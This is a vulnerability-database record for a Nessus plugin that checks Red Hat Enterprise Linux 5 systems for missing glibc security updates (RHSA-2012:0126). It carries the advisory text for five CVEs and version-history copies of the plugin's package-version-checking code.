{"id": "REDHAT-RHSA-2012-0126.NASL", "bulletinFamily": "scanner", "title": "RHEL 5 : glibc (RHSA-2012:0126)", "description": "Updated glibc packages that fix multiple security issues are now available for Red Hat Enterprise Linux 5.\n\nThe Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple programs on the system. These packages contain the standard C and the standard math libraries. Without these two libraries, a Linux system cannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library read timezone files. If a carefully-crafted timezone file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically linked libraries. If an attacker could trick a user into running ldd on a malicious binary, it could result in arbitrary code execution with the privileges of the user running ldd. (CVE-2009-5064)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library loaded ELF (Executable and Linking Format) files. If a carefully-crafted ELF file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2010-0830)\n\nIt was found that the glibc addmntent() function, used by various mount helper utilities, did not handle certain errors correctly when updating the mtab (mounted file systems table) file. If such utilities had the setuid bit set, a local attacker could use this flaw to corrupt the mtab file. (CVE-2011-1089)\n\nA denial of service flaw was found in the remote procedure call (RPC) implementation in glibc. A remote attacker able to open a large number of connections to an RPC service that is using the RPC implementation from glibc, could use this flaw to make that service use an excessive amount of CPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting CVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The Ubuntu Security Team acknowledges Dan Rosenberg as the original reporter of CVE-2010-0830.\n\nUsers should upgrade to these updated packages, which resolve these issues.", "published": "2012-02-14T00:00:00", "modified": "2018-07-25T00:00:00", "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://www.tenable.com/plugins/index.php?view=single&id=57929", "reporter": "Tenable", "references": ["http://rhn.redhat.com/errata/RHSA-2012-0126.html", "https://www.redhat.com/security/data/cve/CVE-2011-4609.html", "https://www.redhat.com/security/data/cve/CVE-2011-1089.html", "https://www.redhat.com/security/data/cve/CVE-2010-0830.html", "https://www.redhat.com/security/data/cve/CVE-2009-5029.html", "https://www.redhat.com/security/data/cve/CVE-2009-5064.html"], "cvelist": ["CVE-2011-4609", "CVE-2010-0830", "CVE-2009-5029", "CVE-2011-1089", "CVE-2009-5064"], "type": "nessus", "lastseen": "2018-07-30T13:34:30", "history": [{"bulletin": {"bulletinFamily": "scanner", "cpe": ["cpe:/o:redhat:enterprise_linux:5", "p-cpe:/a:redhat:enterprise_linux:glibc-utils", "p-cpe:/a:redhat:enterprise_linux:glibc", "p-cpe:/a:redhat:enterprise_linux:glibc-common", "p-cpe:/a:redhat:enterprise_linux:glibc-devel", "p-cpe:/a:redhat:enterprise_linux:nscd", "p-cpe:/a:redhat:enterprise_linux:glibc-headers"], "cvelist": ["CVE-2011-4609", "CVE-2010-0830", "CVE-2009-5029", "CVE-2011-1089", "CVE-2009-5064"], "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "description": "Updated glibc packages that fix multiple security issues are now available for Red Hat Enterprise Linux 5.\n\nThe Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple programs on the system. These packages contain the standard C and the standard math libraries. Without these two libraries, a Linux system cannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library read timezone files. If a carefully-crafted timezone file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically linked libraries. If an attacker could trick a user into running ldd on a malicious binary, it could result in arbitrary code execution with the privileges of the user running ldd. (CVE-2009-5064)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library loaded ELF (Executable and Linking Format) files. If a carefully-crafted ELF file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2010-0830)\n\nIt was found that the glibc addmntent() function, used by various mount helper utilities, did not handle certain errors correctly when updating the mtab (mounted file systems table) file. If such utilities had the setuid bit set, a local attacker could use this flaw to corrupt the mtab file. (CVE-2011-1089)\n\nA denial of service flaw was found in the remote procedure call (RPC) implementation in glibc. A remote attacker able to open a large number of connections to an RPC service that is using the RPC implementation from glibc, could use this flaw to make that service use an excessive amount of CPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting CVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The Ubuntu Security Team acknowledges Dan Rosenberg as the original reporter of CVE-2010-0830.\n\nUsers should upgrade to these updated packages, which resolve these issues.", "edition": 4, "enchantments": {"score": {"value": 7.2, "vector": "NONE"}}, "hash": "7ea5745f2768c008b8db4a80ab53f8e28768b1d6da8d64c140f4063efede077e", "hashmap": [{"hash": "5a5a54611766f3da3ce3cb528f3027a4", "key": "references"}, {"hash": "ae0665ae2f88d638e0907d932dfcc493", "key": "cpe"}, {"hash": "6f8115c44826ba13de903bb0d26a7d5b", "key": "cvelist"}, {"hash": "7962711bd7650e97eb287d800fd6fd3a", "key": "description"}, {"hash": "eaa4ed87336e2e51d149ce6e262dadbe", "key": "modified"}, {"hash": "9cf00d658b687f030ebe173a0528c567", "key": "reporter"}, {"hash": "2c579aa4e476f52de92baf9b41b1db07", "key": "title"}, {"hash": "7c885de43ac8c8fec677c5a50f1ca9e9", "key": "published"}, {"hash": "3b4231700df65bd1e280187eabbb0395", "key": "pluginID"}, {"hash": "e8bafdc9ad5c6f47fe1e6e5fd509b7a9", "key": "cvss"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "5e0bd03bec244039678f2b955a2595aa", "key": "type"}, {"hash": "981bbd9e32ffd82a8b6a813b152e8432", "key": "sourceData"}, {"hash": "c4f16ed276157b63b39f28c10395355d", "key": "href"}, {"hash": "b46559ea68ec9a13474c3a7776817cfd", "key": "naslFamily"}], "history": [], "href": "https://www.tenable.com/plugins/index.php?view=single&id=57929", "id": "REDHAT-RHSA-2012-0126.NASL", "lastseen": "2018-02-05T22:54:59", "modified": "2018-02-05T00:00:00", "naslFamily": "Red Hat Local Security Checks", "objectVersion": "1.3", "pluginID": "57929", "published": "2012-02-14T00:00:00", "references": ["http://rhn.redhat.com/errata/RHSA-2012-0126.html", "https://www.redhat.com/security/data/cve/CVE-2011-4609.html", "https://www.redhat.com/security/data/cve/CVE-2011-1089.html", "https://www.redhat.com/security/data/cve/CVE-2010-0830.html", "https://www.redhat.com/security/data/cve/CVE-2009-5029.html", "https://www.redhat.com/security/data/cve/CVE-2009-5064.html"], "reporter": "Tenable", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2012:0126. The text \n# itself is copyright (C) Red Hat, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(57929);\n script_version (\"$Revision: 1.13 $\");\n script_cvs_date(\"$Date: 2018/02/05 14:47:53 $\");\n\n script_cve_id(\"CVE-2009-5029\", \"CVE-2009-5064\", \"CVE-2010-0830\", \"CVE-2011-1089\", \"CVE-2011-4609\");\n script_bugtraq_id(40063, 46740, 50898, 51439);\n script_osvdb_id(65077, 74278, 74883, 77508, 78316);\n script_xref(name:\"RHSA\", value:\"2012:0126\");\n\n script_name(english:\"RHEL 5 : glibc (RHSA-2012:0126)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Red Hat host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Updated glibc packages that fix multiple security issues are now\navailable for Red Hat Enterprise Linux 5.\n\nThe Red Hat Security Response Team has rated this update as having\nmoderate security impact. Common Vulnerability Scoring System (CVSS)\nbase scores, which give detailed severity ratings, are available for\neach vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system\ncannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked\nagainst glibc, it could cause the application to crash or,\npotentially, execute arbitrary code with the privileges of the user\nrunning the application. (CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically\nlinked libraries. If an attacker could trick a user into running ldd\non a malicious binary, it could result in arbitrary code execution\nwith the privileges of the user running ldd. (CVE-2009-5064)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library loaded ELF (Executable and Linking\nFormat) files. If a carefully-crafted ELF file was loaded by an\napplication linked against glibc, it could cause the application to\ncrash or, potentially, execute arbitrary code with the privileges of\nthe user running the application. (CVE-2010-0830)\n\nIt was found that the glibc addmntent() function, used by various\nmount helper utilities, did not handle certain errors correctly when\nupdating the mtab (mounted file systems table) file. If such utilities\nhad the setuid bit set, a local attacker could use this flaw to\ncorrupt the mtab file. (CVE-2011-1089)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number\nof connections to an RPC service that is using the RPC implementation\nfrom glibc, could use this flaw to make that service use an excessive\namount of CPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting\nCVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The\nUbuntu Security Team acknowledges Dan Rosenberg as the original\nreporter of CVE-2010-0830.\n\nUsers should upgrade to these updated packages, which resolve these\nissues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2009-5029.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2009-5064.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2010-0830.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2011-1089.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2011-4609.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://rhn.redhat.com/errata/RHSA-2012-0126.html\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:ND\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-utils\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:nscd\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:5\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/02/13\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/02/14\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2012-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Red Hat\" >!< release) audit(AUDIT_OS_NOT, \"Red Hat\");\nos_ver = eregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^5([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Red Hat 5.x\", \"Red Hat \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"s390\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Red Hat\", cpu);\n\nyum_updateinfo = get_kb_item(\"Host/RedHat/yum-updateinfo\");\nif (!empty_or_null(yum_updateinfo)) \n{\n rhsa = \"RHSA-2012:0126\";\n yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);\n if (!empty_or_null(yum_report))\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : yum_report \n );\n exit(0);\n }\n else\n {\n audit_message = \"affected by Red Hat security advisory \" + rhsa;\n audit(AUDIT_OS_NOT, audit_message);\n }\n}\nelse\n{\n flag = 0;\n if (rpm_check(release:\"RHEL5\", reference:\"glibc-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"i386\", reference:\"glibc-common-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"s390x\", reference:\"glibc-common-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"x86_64\", reference:\"glibc-common-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", reference:\"glibc-devel-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"i386\", reference:\"glibc-headers-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"s390x\", reference:\"glibc-headers-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"x86_64\", reference:\"glibc-headers-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"i386\", reference:\"glibc-utils-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"s390x\", reference:\"glibc-utils-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"x86_64\", reference:\"glibc-utils-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"i386\", reference:\"nscd-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"s390x\", reference:\"nscd-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"x86_64\", reference:\"nscd-2.5-65.el5_7.3\")) flag++;\n\n if (flag)\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get() + redhat_report_package_caveat()\n );\n exit(0);\n }\n else\n {\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"glibc / glibc-common / glibc-devel / glibc-headers / glibc-utils / etc\");\n }\n}\n", "title": "RHEL 5 : glibc (RHSA-2012:0126)", "type": "nessus", "viewCount": 6}, "differentElements": ["modified", "sourceData"], "edition": 4, "lastseen": "2018-02-05T22:54:59"}, {"bulletin": {"bulletinFamily": "scanner", "cpe": [], "cvelist": ["CVE-2011-4609", "CVE-2010-0830", "CVE-2009-5029", "CVE-2011-1089", "CVE-2009-5064"], "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "description": "Updated glibc packages that fix multiple security issues are now available for Red Hat Enterprise Linux 5.\n\nThe Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple programs on the system. These packages contain the standard C and the standard math libraries. Without these two libraries, a Linux system cannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library read timezone files. If a carefully-crafted timezone file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically linked libraries. If an attacker could trick a user into running ldd on a malicious binary, it could result in arbitrary code execution with the privileges of the user running ldd. (CVE-2009-5064)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library loaded ELF (Executable and Linking Format) files. If a carefully-crafted ELF file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2010-0830)\n\nIt was found that the glibc addmntent() function, used by various mount helper utilities, did not handle certain errors correctly when updating the mtab (mounted file systems table) file. If such utilities had the setuid bit set, a local attacker could use this flaw to corrupt the mtab file. (CVE-2011-1089)\n\nA denial of service flaw was found in the remote procedure call (RPC) implementation in glibc. A remote attacker able to open a large number of connections to an RPC service that is using the RPC implementation from glibc, could use this flaw to make that service use an excessive amount of CPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting CVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The Ubuntu Security Team acknowledges Dan Rosenberg as the original reporter of CVE-2010-0830.\n\nUsers should upgrade to these updated packages, which resolve these issues.", "edition": 2, "enchantments": {}, "hash": "57256a06970130ee99a880d5212a24834b5d28d3904011b0cf2ef9f65b9862a2", "hashmap": [{"hash": "5a5a54611766f3da3ce3cb528f3027a4", "key": "references"}, {"hash": "b7f00b70496e4f2268229628988b3711", "key": "sourceData"}, {"hash": "369eb856f7dc4cfd31b9acc3c0811267", "key": "modified"}, {"hash": "6f8115c44826ba13de903bb0d26a7d5b", "key": "cvelist"}, {"hash": "7962711bd7650e97eb287d800fd6fd3a", "key": "description"}, {"hash": "9cf00d658b687f030ebe173a0528c567", "key": "reporter"}, {"hash": "2c579aa4e476f52de92baf9b41b1db07", "key": "title"}, {"hash": "7c885de43ac8c8fec677c5a50f1ca9e9", "key": "published"}, {"hash": "3b4231700df65bd1e280187eabbb0395", "key": "pluginID"}, {"hash": "e8bafdc9ad5c6f47fe1e6e5fd509b7a9", "key": "cvss"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "5e0bd03bec244039678f2b955a2595aa", "key": "type"}, {"hash": "c4f16ed276157b63b39f28c10395355d", "key": "href"}, {"hash": "b46559ea68ec9a13474c3a7776817cfd", "key": "naslFamily"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe"}], "history": [], "href": "https://www.tenable.com/plugins/index.php?view=single&id=57929", "id": "REDHAT-RHSA-2012-0126.NASL", "lastseen": "2017-01-06T02:13:35", "modified": "2017-01-05T00:00:00", "naslFamily": "Red Hat Local Security Checks", "objectVersion": "1.2", "pluginID": "57929", "published": "2012-02-14T00:00:00", "references": ["http://rhn.redhat.com/errata/RHSA-2012-0126.html", "https://www.redhat.com/security/data/cve/CVE-2011-4609.html", "https://www.redhat.com/security/data/cve/CVE-2011-1089.html", "https://www.redhat.com/security/data/cve/CVE-2010-0830.html", "https://www.redhat.com/security/data/cve/CVE-2009-5029.html", "https://www.redhat.com/security/data/cve/CVE-2009-5064.html"], "reporter": "Tenable", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2012:0126. The text \n# itself is copyright (C) Red Hat, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(57929);\n script_version (\"$Revision: 1.12 $\");\n script_cvs_date(\"$Date: 2017/01/05 16:04:21 $\");\n\n script_cve_id(\"CVE-2009-5029\", \"CVE-2009-5064\", \"CVE-2010-0830\", \"CVE-2011-1089\", \"CVE-2011-4609\");\n script_bugtraq_id(40063, 46740, 50898, 51439);\n script_osvdb_id(65077, 74278, 74883, 77508, 78316);\n script_xref(name:\"RHSA\", value:\"2012:0126\");\n\n script_name(english:\"RHEL 5 : glibc (RHSA-2012:0126)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Red Hat host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Updated glibc packages that fix multiple security issues are now\navailable for Red Hat Enterprise Linux 5.\n\nThe Red Hat Security Response Team has rated this update as having\nmoderate security impact. Common Vulnerability Scoring System (CVSS)\nbase scores, which give detailed severity ratings, are available for\neach vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system\ncannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked\nagainst glibc, it could cause the application to crash or,\npotentially, execute arbitrary code with the privileges of the user\nrunning the application. (CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically\nlinked libraries. If an attacker could trick a user into running ldd\non a malicious binary, it could result in arbitrary code execution\nwith the privileges of the user running ldd. (CVE-2009-5064)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library loaded ELF (Executable and Linking\nFormat) files. If a carefully-crafted ELF file was loaded by an\napplication linked against glibc, it could cause the application to\ncrash or, potentially, execute arbitrary code with the privileges of\nthe user running the application. (CVE-2010-0830)\n\nIt was found that the glibc addmntent() function, used by various\nmount helper utilities, did not handle certain errors correctly when\nupdating the mtab (mounted file systems table) file. If such utilities\nhad the setuid bit set, a local attacker could use this flaw to\ncorrupt the mtab file. (CVE-2011-1089)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number\nof connections to an RPC service that is using the RPC implementation\nfrom glibc, could use this flaw to make that service use an excessive\namount of CPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting\nCVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The\nUbuntu Security Team acknowledges Dan Rosenberg as the original\nreporter of CVE-2010-0830.\n\nUsers should upgrade to these updated packages, which resolve these\nissues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2009-5029.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2009-5064.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2010-0830.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2011-1089.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2011-4609.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://rhn.redhat.com/errata/RHSA-2012-0126.html\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:ND/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-utils\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:nscd\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:5\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/02/13\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/02/14\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2012-2017 Tenable Network Security, Inc.\");\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Red Hat\" >!< release) audit(AUDIT_OS_NOT, \"Red Hat\");\nos_ver = eregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^5([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Red Hat 5.x\", \"Red Hat \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"s390\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Red Hat\", cpu);\n\nyum_updateinfo = get_kb_item(\"Host/RedHat/yum-updateinfo\");\nif (!empty_or_null(yum_updateinfo)) \n{\n rhsa = \"RHSA-2012:0126\";\n yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);\n if (!empty_or_null(yum_report))\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : yum_report \n );\n exit(0);\n }\n else\n {\n audit_message = \"affected by Red Hat security advisory \" + rhsa;\n audit(AUDIT_OS_NOT, audit_message);\n }\n}\nelse\n{\n flag = 0;\n if (rpm_check(release:\"RHEL5\", reference:\"glibc-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"i386\", reference:\"glibc-common-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"s390x\", reference:\"glibc-common-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"x86_64\", reference:\"glibc-common-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", reference:\"glibc-devel-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"i386\", reference:\"glibc-headers-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"s390x\", reference:\"glibc-headers-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"x86_64\", reference:\"glibc-headers-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"i386\", reference:\"glibc-utils-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"s390x\", reference:\"glibc-utils-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"x86_64\", reference:\"glibc-utils-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"i386\", reference:\"nscd-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"s390x\", reference:\"nscd-2.5-65.el5_7.3\")) flag++;\n if (rpm_check(release:\"RHEL5\", cpu:\"x86_64\", reference:\"nscd-2.5-65.el5_7.3\")) flag++;\n\n if (flag)\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get() + redhat_report_package_caveat()\n );\n exit(0);\n }\n else\n {\n tested = 